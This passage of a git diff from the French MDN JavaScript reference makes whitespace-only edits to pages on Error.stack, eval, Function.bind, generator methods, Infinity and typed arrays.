parenthèses, immédiatement avant le signe arobase (@). Tandis qu'un objet (ou un tableau, etc.) apparaissait sous la forme convertie `"[object Object]"`, et en tant que tel, ne pouvait pas être réévalué en les objets réels, les valeurs scalaires pouvaient être récupérées (bien qu'il soit plus facile — c'est toujours possible dans Firefox 14 — d'utiliser `arguments.callee.caller.arguments`, tout comme le nom de la fonction pouvait être récupéré avec `arguments.callee.caller.name`). `"undefined"` est listé comme `"(void 0)"`. Notez que si des arguments chaines de caractères étaient passés avec des valeurs comme `"@"`, `"("`, `")"` (ou si dans les noms de fichier), vous ne pouviez pas vous reposez facilement sur ceux-ci pour découper la ligne en les parties qui la composent. Par conséquent, dans Firefox 14 et ultérieur, ceci est moins un problème. +**Valeurs des arguments dans la pile :** avant Firefox 14 ({{bug("744842")}}), le nom d'une fonction étaient suivis par les valeurs des arguments converties en une chaine de caractères entre parenthèses, immédiatement avant le signe arobase (@). Tandis qu'un objet (ou un tableau, etc.) apparaissait sous la forme convertie `"[object Object]"`, et en tant que tel, ne pouvait pas être réévalué en les objets réels, les valeurs scalaires pouvaient être récupérées (bien qu'il soit plus facile — c'est toujours possible dans Firefox 14 — d'utiliser `arguments.callee.caller.arguments`, tout comme le nom de la fonction pouvait être récupéré avec `arguments.callee.caller.name`). `"undefined"` est listé comme `"(void 0)"`. Notez que si des arguments chaines de caractères étaient passés avec des valeurs comme `"@"`, `"("`, `")"` (ou si dans les noms de fichier), vous ne pouviez pas vous reposez facilement sur ceux-ci pour découper la ligne en les parties qui la composent. Par conséquent, dans Firefox 14 et ultérieur, ceci est moins un problème. -Les différents navigateurs définissent cette valeur à différents instants. Par exemple, Firefox la définit lors de la création d'un objet {{jsxref("Error")}}, tandis que PhantomJS ne la définit que lors du déclenchement de l'{{jsxref("Error")}}, et la [documentation MSDN](https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx) semble correspondre à l'implémentation PhantomJS. +Les différents navigateurs définissent cette valeur à différents instants. Par exemple, Firefox la définit lors de la création d'un objet {{jsxref("Error")}}, tandis que PhantomJS ne la définit que lors du déclenchement de l'{{jsxref("Error")}}, et la [documentation MSDN](https://web.archive.org/web/20140210004225/http://msdn.microsoft.com/en-us/library/windows/apps/hh699850.aspx) semble correspondre à l'implémentation PhantomJS. ## Exemples @@ -53,9 +53,9 @@ Le code HTML suivant démontre l'utilisation de la propriété `stack`. </script> ``` -En supposant que ce code a été enregistré comme `C:\exemple.html` sur un système de fichier Windows, il produira un message d'alerte dans une nouvelle fenêtre avec le texte suivant : +En supposant que ce code a été enregistré comme `C:\exemple.html` sur un système de fichier Windows, il produira un message d'alerte dans une nouvelle fenêtre avec le texte suivant : -À partir de Firefox 30 et ultérieur, ce message contiendra le numéro de colonne ({{bug(762556)}}) : +À partir de Firefox 30 et ultérieur, ce message contiendra le numéro de colonne ({{bug(762556)}}) : ```html trace@file:///C:/exemple.html:9:17 @@ -71,7 +71,7 @@ De Firefox 14 à Firefox 29 : a@file:///C:/exemple.html:19 @file:///C:/exemple.html:21 -Firefox 13 et antérieur aurait produit à la place le texte suivant : +Firefox 13 et antérieur aurait produit à la place le texte suivant : Error("monError")@:0 trace()@file:///C:/exemple.html:9 @@ -79,9 +79,9 @@ Firefox 13 et antérieur aurait produit à la place le texte suivant : a("premier appel, premierarg")@file:///C:/exemple.html:19 @file:///C:/exemple.html:21 -### Pile d'un code evalué +### Pile d'un code evalué -À partir de Firefox 30 {{geckoRelease("30")}}, la pile d'erreur du code dans les appels à `Function()` et `eval()` produit désormais des piles avec des informations plus détaillées sur les numéros de lignes et de colonnes dans ces appels. Les appels de fonction sont indiqués par `"> Function"` et les appels d'`eval` par `"> eval"`. Voir {{bug("332176")}}. +À partir de Firefox 30 {{geckoRelease("30")}}, la pile d'erreur du code dans les appels à `Function()` et `eval()` produit désormais des piles avec des informations plus détaillées sur les numéros de lignes et de colonnes dans ces appels. Les appels de fonction sont indiqués par `"> Function"` et les appels d'`eval` par `"> eval"`. Voir {{bug("332176")}}. ```js try { @@ -104,7 +104,7 @@ try { // @file:///C:/exemple.html:7:6 ``` -Vous pouvez aussi utiliser la directive `//# sourceURL` pour nommer une source eval. Voir aussi [Déboguer des sources évaluées](https://developer.mozilla.org/fr-FR/docs/Tools/Debugger/How_to/Debug_eval_sources) dans les docs [Débogueur](https://developer.mozilla.org/fr-FR/docs/Tools/Debugger), ainsi que ce [blog post](http://fitzgeraldnick.com/weblog/59/). +Vous pouvez aussi utiliser la directive `//# sourceURL` pour nommer une source eval. Voir aussi [Déboguer des sources évaluées](https://developer.mozilla.org/fr-FR/docs/Tools/Debugger/How_to/Debug_eval_sources) dans les docs [Débogueur](https://developer.mozilla.org/fr-FR/docs/Tools/Debugger), ainsi que ce [blog post](http://fitzgeraldnick.com/weblog/59/). ## Spécifications diff --git a/files/fr/web/javascript/reference/global_objects/error/tosource/index.md b/files/fr/web/javascript/reference/global_objects/error/tosource/index.md index 9876514034..efc31d46d3 100644 --- a/files/fr/web/javascript/reference/global_objects/error/tosource/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/tosource/index.md @@ -33,7 +33,7 @@ Appeler la méthode `toSource()` d'une instance {{jsxref("Error")}} ([Erreurs na où ces attributs correspondent aux propriétés respectives de l'instance `Error`. -> **Note :** Les propriétés utilisées par la méthode `toSource()` dans la création de cette chaine de caractères sont mutables et peuvent ne pas refléter correctement la fonction utilisée pour créer une instance d'erreur ou le nom du fichier ou la ligne à laquelle s'est produite l'erreur originale. +> **Note :** Les propriétés utilisées par la méthode `toSource()` dans la création de cette chaine de caractères sont mutables et peuvent ne pas refléter correctement la fonction utilisée pour créer une instance d'erreur ou le nom du fichier ou la ligne à laquelle s'est produite l'erreur originale. ## Spécifications diff --git a/files/fr/web/javascript/reference/global_objects/error/tostring/index.md b/files/fr/web/javascript/reference/global_objects/error/tostring/index.md index 97119fcb6e..15df5e7eb6 100644 --- a/files/fr/web/javascript/reference/global_objects/error/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/error/tostring/index.md @@ -24,7 +24,7 @@ Une chaîne de caractères représentant l'objet {{jsxref("Error")}}. ## Description -L'objet {{jsxref("Error")}} surcharge la méthode {{jsxref("Object.prototype.toString()")}} héritée par tous les objets. Sa sémantique est la suivante (en partant du principe que {{jsxref("Object")}} et {{jsxref("String")}} ont leurs valeurs originales) : +L'objet {{jsxref("Error")}} surcharge la méthode {{jsxref("Object.prototype.toString()")}} héritée par tous les objets. Sa sémantique est la suivante (en partant du principe que {{jsxref("Object")}} et {{jsxref("String")}} ont leurs valeurs originales) : ```js Error.prototype.toString = function () { diff --git a/files/fr/web/javascript/reference/global_objects/eval/index.md b/files/fr/web/javascript/reference/global_objects/eval/index.md index e28f94f20e..ac3cab5b4b 100644 --- a/files/fr/web/javascript/reference/global_objects/eval/index.md +++ b/files/fr/web/javascript/reference/global_objects/eval/index.md @@ -53,7 +53,7 @@ var expression = new String("2 + 2"); eval(expression.toString()); ``` -Si la fonction `eval` est utilisée de manière indirecte, en l'invoquant par une référence autre que `eval`, cela fonctionnera avec une portée globale plutôt que locale (d'après ECMASCript 5). Par exemple, les déclarations de fonctions vont créer des fonctions globales et le code en cours d'évaluation n'aura pas accès aux variables locales déclarées avec la même portée que là où la fonction `eval` est appelée. +Si la fonction `eval` est utilisée de manière indirecte, en l'invoquant par une référence autre que `eval`, cela fonctionnera avec une portée globale plutôt que locale (d'après ECMASCript 5). Par exemple, les déclarations de fonctions vont créer des fonctions globales et le code en cours d'évaluation n'aura pas accès aux variables locales déclarées avec la même portée que là où la fonction `eval` est appelée. ```js function test() { @@ -135,7 +135,7 @@ console.log(runCodeWithDateFunction( 2\. Le surcoût lié à un appel de fonction est léger -3\. `Function()` permet d'utiliser `"use strict";` (qui peut également aider à améliorer les performances). +3\. `Function()` permet d'utiliser `"use strict";` (qui peut également aider à améliorer les performances). Enfin, pour la plupart des cas, on doit pouvoir éviter de passer par diff --git a/files/fr/web/javascript/reference/global_objects/evalerror/index.md b/files/fr/web/javascript/reference/global_objects/evalerror/index.md index 7000c66f7c..6147b8c61c 100644 --- a/files/fr/web/javascript/reference/global_objects/evalerror/index.md +++ b/files/fr/web/javascript/reference/global_objects/evalerror/index.md @@ -72,7 +72,7 @@ try { | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale | | {{SpecName('ES5.1', '#sec-15.11.6.1', 'EvalError')}} | {{Spec2('ES5.1')}} | Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité. | | {{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}} | {{Spec2('ES6')}} | Non utilisé dans cette spécificaition. Présent à des fins de rétrocompatibilité. | -| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-evalerror', 'EvalError')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/function/arguments/index.md b/files/fr/web/javascript/reference/global_objects/function/arguments/index.md index a8272388ce..4813b41f6e 100644 --- a/files/fr/web/javascript/reference/global_objects/function/arguments/index.md +++ b/files/fr/web/javascript/reference/global_objects/function/arguments/index.md @@ -17,7 +17,7 @@ La propriété **`function.arguments`** fait référence à un objet dont la str ## Description -La syntaxe `function.arguments` est obsolète. La méthode recommandée pour accéder à l'objet {{jsxref("Fonctions/arguments", "arguments")}} disponible au sein des fonctions est simplement de faire référence à la variable {{jsxref("Fonctions/arguments", "arguments")}}. +La syntaxe `function.arguments` est obsolète. La méthode recommandée pour accéder à l'objet {{jsxref("Fonctions/arguments", "arguments")}} disponible au sein des fonctions est simplement de faire référence à la variable {{jsxref("Fonctions/arguments", "arguments")}}. Si on utilise la récursivité (autrement dit si une fonction `f` apparaît plusieurs fois dans la pile d'appels ou encore qu'une fonction `f` s'appelle elle-même), la valeur de `f.arguments` représentera les arguments correspondant à l'appel le plus « récent » de la fonction. diff --git a/files/fr/web/javascript/reference/global_objects/function/bind/index.md b/files/fr/web/javascript/reference/global_objects/function/bind/index.md index e6cec185cf..1580f43988 100644 --- a/files/fr/web/javascript/reference/global_objects/function/bind/index.md +++ b/files/fr/web/javascript/reference/global_objects/function/bind/index.md @@ -56,9 +56,9 @@ Une fonction liée peut également être construite à l'aide de l'opérateur {{ ### Créer une fonction liée -La façon la plus simple d'utiliser `bind()`est de faire une fonction qui, peu importe la façon dont elle est appellée, le sera avec une certaine valeur `this` donnée. +La façon la plus simple d'utiliser `bind()`est de faire une fonction qui, peu importe la façon dont elle est appellée, le sera avec une certaine valeur `this` donnée. -Une erreur courante lorsqu'on débute en JavaScript est d'extraire une méthode d'un objet, puis plus tard d'appeler cette méthode depuis un objet et de s'attendre à utiliser l'objet original en tant que valeur de `this` (par exemple en utilisant cette méthode dans un _callback_). Sans précaution, cependant, l'objet original est perdu. Créer une fonction liée depuis la méthode, en utilisant l'objet original, résout simplement le problème : +Une erreur courante lorsqu'on débute en JavaScript est d'extraire une méthode d'un objet, puis plus tard d'appeler cette méthode depuis un objet et de s'attendre à utiliser l'objet original en tant que valeur de `this` (par exemple en utilisant cette méthode dans un _callback_). Sans précaution, cependant, l'objet original est perdu. Créer une fonction liée depuis la méthode, en utilisant l'objet original, résout simplement le problème : ```js this.x = 9; // en dehors de tout contexte, @@ -66,7 +66,7 @@ this.x = 9; // en dehors de tout contexte, // l'objet window var module = { x: 81, - getX: function() { return this.x; } + getX: function() { return this.x; } }; module.getX(); // 81 @@ -82,7 +82,7 @@ boundGetX(); // 81 ### Fonctions partiellement appliquées -Dans l'exemple suivant, on utilise `bind()` afin de créer une fonction avec des arguments initiaux prédéfinis. Ces arguments, s'il y en a, suivent le `this` fourni et sont ensuite insérés au début des arguments passés à la fonction cible, suivis par les arguments passés à la fonction liée au moment où celle-ci est appelée. +Dans l'exemple suivant, on utilise `bind()` afin de créer une fonction avec des arguments initiaux prédéfinis. Ces arguments, s'il y en a, suivent le `this` fourni et sont ensuite insérés au début des arguments passés à la fonction cible, suivis par les arguments passés à la fonction liée au moment où celle-ci est appelée. ```js function list() { @@ -109,7 +109,7 @@ var resultat = ajouter37(5); // 37 + 5 = 42 ### Utiliser `bind` avec `setTimeout` -Par défaut à l'intérieur de {{domxref("window.setTimeout()")}}, le mot-clé `this` sera attribué à l'objet {{domxref("window")}} (ou l'objet `global`). Lorsqu'on travaille avec des méthodes de classe utilisant `this` qui se réfère à l'instance, on peut lier `this` de façon explicite afin d'être certain de manipuler l'instance. +Par défaut à l'intérieur de {{domxref("window.setTimeout()")}}, le mot-clé `this` sera attribué à l'objet {{domxref("window")}} (ou l'objet `global`). Lorsqu'on travaille avec des méthodes de classe utilisant `this` qui se réfère à l'instance, on peut lier `this` de façon explicite afin d'être certain de manipuler l'instance. ```js function Fleur() { @@ -133,7 +133,7 @@ fleur.floraison(); ### Les fonctions liées utilisées en tant que constructeurs -> **Attention :** Cette section illustre des capacités marginales et des cas aux limites concernant l'usage de la méthode bind(). Les méthodes montrées ci-après ne sont pas les façons les plus propres de faire les choses et ne devraient pas être utilisées en production. +> **Attention :** Cette section illustre des capacités marginales et des cas aux limites concernant l'usage de la méthode bind(). Les méthodes montrées ci-après ne sont pas les façons les plus propres de faire les choses et ne devraient pas être utilisées en production. Les fonctions liées sont automatiquement disponibles à l'usage pour toutes les instances initialisées avec l'opérateur {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur la fonction cible. Quand une fonction liée est utilisée pour construire une valeur, le `this` fourni est ignoré. Cependant, les arguments fournis sont toujours préremplis lors de l'appel au constructeur : @@ -165,7 +165,7 @@ axisPoint instanceof YAxisPoint; // true new Point(17, 42) instanceof YAxisPoint; // false ``` -On notera qu'il n'y a rien à faire de particulier pour pouvoir utiliser {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur votre fonction liée. Le corollaire est qu'il n'y a rien à faire de plus pour créer une fonction liée qui soit appelée sans préfixe, même s'il est préférable d'appeler une fonction liée uniquement avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new", "new")}}. +On notera qu'il n'y a rien à faire de particulier pour pouvoir utiliser {{jsxref("Opérateurs/L_opérateur_new", "new")}} sur votre fonction liée. Le corollaire est qu'il n'y a rien à faire de plus pour créer une fonction liée qui soit appelée sans préfixe, même s'il est préférable d'appeler une fonction liée uniquement avec le mot-clé {{jsxref("Opérateurs/L_opérateur_new", "new")}}. ```js // Cet exemple fonctionne dans votre console JavaScript @@ -178,11 +178,11 @@ YAxisPoint(13); emptyObj.x + "," + emptyObj.y; // "0,13" ``` -Si on souhaite supporter le cas où la fonction liée d'une fonction liée en utilisant seulement `new`, ou juste en l'appellant, la fonction cible doit outrepasser cette restriction. +Si on souhaite supporter le cas où la fonction liée d'une fonction liée en utilisant seulement `new`, ou juste en l'appellant, la fonction cible doit outrepasser cette restriction. ### Créer des raccourcis -`bind()` est également utile dans les cas où on souhaite créer un raccourci vers une fonction qui requiert un `this` ayant une certaine valeur. +`bind()` est également utile dans les cas où on souhaite créer un raccourci vers une fonction qui requiert un `this` ayant une certaine valeur. Si, par exemple, on considère la fonction {{jsxref("Array.prototype.slice")}} et qu'on souhaite l'utiliser pour convertir un objet semblable à un tableau en un objet `array`, on peut créer un raccourci de cette façon : @@ -194,7 +194,7 @@ var slice = Array.prototype.slice; slice.apply(arguments); ``` -Avec `bind()`, il est possible de simplifier cela. Dans l'exemple qui suit `slice` est une fonction liée à la fonction {{jsxref("Function.prototype.apply()", "apply()")}} de `Function.prototype`, et `this` défini en tant que fonction {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Cela signifie que les appels à la méthode `apply()` peuvent être éliminés : +Avec `bind()`, il est possible de simplifier cela. Dans l'exemple qui suit `slice` est une fonction liée à la fonction {{jsxref("Function.prototype.apply()", "apply()")}} de `Function.prototype`, et `this` défini en tant que fonction {{jsxref("Array.prototype.slice()", "slice()")}} de {{jsxref("Array.prototype")}}. Cela signifie que les appels à la méthode `apply()` peuvent être éliminés : ```js // pareil que "slice" dans l'exemple précédent diff --git a/files/fr/web/javascript/reference/global_objects/function/call/index.md b/files/fr/web/javascript/reference/global_objects/function/call/index.md index 5226e7b387..335b9b18f0 100644 --- a/files/fr/web/javascript/reference/global_objects/function/call/index.md +++ b/files/fr/web/javascript/reference/global_objects/function/call/index.md @@ -135,9 +135,9 @@ afficher.call(); // prenom est Archibald | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. Implémentée avec JavaScript 1.3. | -| {{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.3.4.4', 'Function.prototype.call')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-function.prototype.call', 'Function.prototype.call')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-function.prototype.call', 'Function.prototype.call')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/function/length/index.md b/files/fr/web/javascript/reference/global_objects/function/length/index.md index 91f954d94e..11fde1025f 100644 --- a/files/fr/web/javascript/reference/global_objects/function/length/index.md +++ b/files/fr/web/javascript/reference/global_objects/function/length/index.md @@ -47,9 +47,9 @@ console.log((function(a, b = 1, c) {}).length); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES5.1', '#sec-15.3.5.1', 'Function.length')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES6', '#sec-function-instances-length', 'Function.length')}} | {{Spec2('ES6')}} | L'attribut `configurable` de cette propriété vaut `true` désormais. | -| {{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-function-instances-length', 'Function.length')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/function/tostring/index.md b/files/fr/web/javascript/reference/global_objects/function/tostring/index.md index 0eac5c45c6..dde5346cf2 100644 --- a/files/fr/web/javascript/reference/global_objects/function/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/function/tostring/index.md @@ -55,7 +55,7 @@ Si la méthode `toString()` est appelée sur une fonction créée avec le constr | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | | [`Function.prototype.toString()`](https://tc39.github.io/Function-prototype-toString-revision/#sec-introduction) | Brouillon | Standardise la chaîne de caractères utilisée pour les fonctions natives ainsi que la gestion des fins de ligne. | | {{SpecName('ES6', '#sec-function.prototype.tostring', 'Function.prototype.toString')}} | {{Spec2('ES6')}} | Critères supplémentaires ajoutés sur la représentation de la chaîne. | -| {{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-function.prototype.tostring', 'Function.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/generator/next/index.md b/files/fr/web/javascript/reference/global_objects/generator/next/index.md index 50b15b29a3..090a518142 100644 --- a/files/fr/web/javascript/reference/global_objects/generator/next/index.md +++ b/files/fr/web/javascript/reference/global_objects/generator/next/index.md @@ -80,7 +80,7 @@ g.next(2); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-generator.prototype.next', 'Generator.prototype.next')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generator.prototype.next', 'Generator.prototype.next')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/generator/return/index.md b/files/fr/web/javascript/reference/global_objects/generator/return/index.md index e428eb93f7..b2eb2e85de 100644 --- a/files/fr/web/javascript/reference/global_objects/generator/return/index.md +++ b/files/fr/web/javascript/reference/global_objects/generator/return/index.md @@ -70,7 +70,7 @@ g.next(); // { value: undefined, done: true } | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-generator.prototype.return', 'Generator.prototype.return')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generator.prototype.return', 'Generator.prototype.return')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/generator/throw/index.md b/files/fr/web/javascript/reference/global_objects/generator/throw/index.md index c40496187f..bd6c0c98f4 100644 --- a/files/fr/web/javascript/reference/global_objects/generator/throw/index.md +++ b/files/fr/web/javascript/reference/global_objects/generator/throw/index.md @@ -65,7 +65,7 @@ g.throw(new Error("Quelque chose s'est mal passé")); | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generator.prototype.throw', 'Generator.prototype.throw')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/generatorfunction/index.md b/files/fr/web/javascript/reference/global_objects/generatorfunction/index.md index f9faec0967..905c2e8ebf 100644 --- a/files/fr/web/javascript/reference/global_objects/generatorfunction/index.md +++ b/files/fr/web/javascript/reference/global_objects/generatorfunction/index.md @@ -75,7 +75,7 @@ console.log(itérateur.next().value); // 20 | Spécification | Statut | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-generatorfunction-objects', 'GeneratorFunction')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-generatorfunction-objects', 'GeneratorFunction')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/index.md b/files/fr/web/javascript/reference/global_objects/index.md index 0c2020b20d..d0225aca80 100644 --- a/files/fr/web/javascript/reference/global_objects/index.md +++ b/files/fr/web/javascript/reference/global_objects/index.md @@ -12,7 +12,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux Cette partie référence tous les objets natifs standards JavaScript, avec leurs propriétés et méthodes. -Le terme « objets globaux » (ou objets natifs standards) ne doit pas ici être confondu avec l*'objet global*. Ici, « objets globaux » se réfère aux _objets de portée globale_. L'objet global lui-même peut être accédé en utilisant {{jsxref("Opérateurs/L_opérateur_this", "this")}} dans la portée globale (uniquement lorsque [le mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) n'est pas utilisé, sinon, il renvoie {{jsxref("undefined")}}). En réalité, la portée globale _consiste des_ propriétés de l'objet global (avec ses propriétés héritées, s'il en a). +Le terme « objets globaux » (ou objets natifs standards) ne doit pas ici être confondu avec l*'objet global*. Ici, « objets globaux » se réfère aux _objets de portée globale_. L'objet global lui-même peut être accédé en utilisant {{jsxref("Opérateurs/L_opérateur_this", "this")}} dans la portée globale (uniquement lorsque [le mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode) n'est pas utilisé, sinon, il renvoie {{jsxref("undefined")}}). En réalité, la portée globale _consiste des_ propriétés de l'objet global (avec ses propriétés héritées, s'il en a). > **Note :** En [mode strict](/fr/docs/Web/JavaScript/Reference/Strict_mode), la portée globale représentée par `this` sera {{jsxref("undefined")}}. diff --git a/files/fr/web/javascript/reference/global_objects/infinity/index.md b/files/fr/web/javascript/reference/global_objects/infinity/index.md index 0be346bb70..dd6688fa11 100644 --- a/files/fr/web/javascript/reference/global_objects/infinity/index.md +++ b/files/fr/web/javascript/reference/global_objects/infinity/index.md @@ -23,7 +23,7 @@ La propriété globale **`Infinity`** est une valeur numérique représentant l' `Infinity` est une propriété de _l'objet global_ , c'est-à-dire qu'elle est accessible globalement. -La valeur initiale d'`Infinity` est {{jsxref("Number.POSITIVE_INFINITY")}}. La valeur `Infinity` (infinité positive) est une valeur plus grande que n'importe quel nombre. Cette valeur se comporte comme l'infini mathématique ; par exemple, tout ce qui est multiplié par `Infinity` vaut `Infinity`, et tout ce qui est divisé par `Infinity` vaut 0. +La valeur initiale d'`Infinity` est {{jsxref("Number.POSITIVE_INFINITY")}}. La valeur `Infinity` (infinité positive) est une valeur plus grande que n'importe quel nombre. Cette valeur se comporte comme l'infini mathématique ; par exemple, tout ce qui est multiplié par `Infinity` vaut `Infinity`, et tout ce qui est divisé par `Infinity` vaut 0. D'après la spécification ECMAScript 5, `Infinity` est en lecture seule. @@ -42,9 +42,9 @@ console.log(1 / Infinity); // 0 | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | ---------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.3 | -| {{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.1.1.2', 'Infinity')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-value-properties-of-the-global-object-infinity', 'Infinity')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/int16array/index.md b/files/fr/web/javascript/reference/global_objects/int16array/index.md index ea66a5b893..dd63eab8ba 100644 --- a/files/fr/web/javascript/reference/global_objects/int16array/index.md +++ b/files/fr/web/javascript/reference/global_objects/int16array/index.md @@ -27,7 +27,7 @@ Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les [t ## Propriétés - {{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int16Array.BYTES_PER_ELEMENT")}} - - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int16Array`, la propriété vaudra 2. + - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int16Array`, la propriété vaudra 2. - `Int16Array.length` - : Une propriété de longueur qui vaut 3. Pour connaître le nombre d'élément, voir {{jsxref("TypedArray.prototype.length", "Int16Array.prototype.length")}}. - {{jsxref("TypedArray.name", "Int16Array.name")}} @@ -38,7 +38,7 @@ Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les [t ## Méthodes - {{jsxref("TypedArray.from", "Int16Array.from()")}} - - : Crée un nouvel objet `Int16Array` à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}. + - : Crée un nouvel objet `Int16Array` à partir d'un objet semblable à un tableau ou d'un objet itérable. Voir également la page {{jsxref("Array.from()")}}. - {{jsxref("TypedArray.of", "Int16Array.of()")}} - : Crée un nouvel objet `Int16Array` à partir d'un nombre variable d'arguments. Voir également la page {{jsxref("Array.of()")}}. diff --git a/files/fr/web/javascript/reference/global_objects/int32array/index.md b/files/fr/web/javascript/reference/global_objects/int32array/index.md index 81192d739d..ef911d069d 100644 --- a/files/fr/web/javascript/reference/global_objects/int32array/index.md +++ b/files/fr/web/javascript/reference/global_objects/int32array/index.md @@ -27,7 +27,7 @@ Pour plus d'informations sur la syntaxe du constructeur, voir la page sur les [t ## Propriétés - {{jsxref("TypedArray.BYTES_PER_ELEMENT", "Int32Array.BYTES_PER_ELEMENT")}} - - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int32Array`, la propriété vaudra 4. + - : Renvoie un nombre représentant la taille d'un élément du tableau en termes d'octets. Dans le cas de `Int32Array`, la propriété vaudra 4. - `Int32Array.length` - : Une propriété de longueur statique qui vaut 3. Pour connaître le nombre d'éléments, voir {{jsxref("TypedArray.prototype.length", "Int32Array.prototype.length")}}. - {{jsxref("TypedArray.name", "Int32Array.name")}} diff --git a/files/fr/web/javascript/reference/global_objects/int8array/index.md b/files/fr/web/javascript/reference/global_objects/int8array/index.md index 9ba2e0b403..1f74b75ee4 100644 --- a/files/fr/web/javascript/reference/global_objects/int8array/index.md +++ b/files/fr/web/javascript/reference/global_objects/int8array/index.md @@ -28,7 +28,7 @@ Pour plus d'informations sur 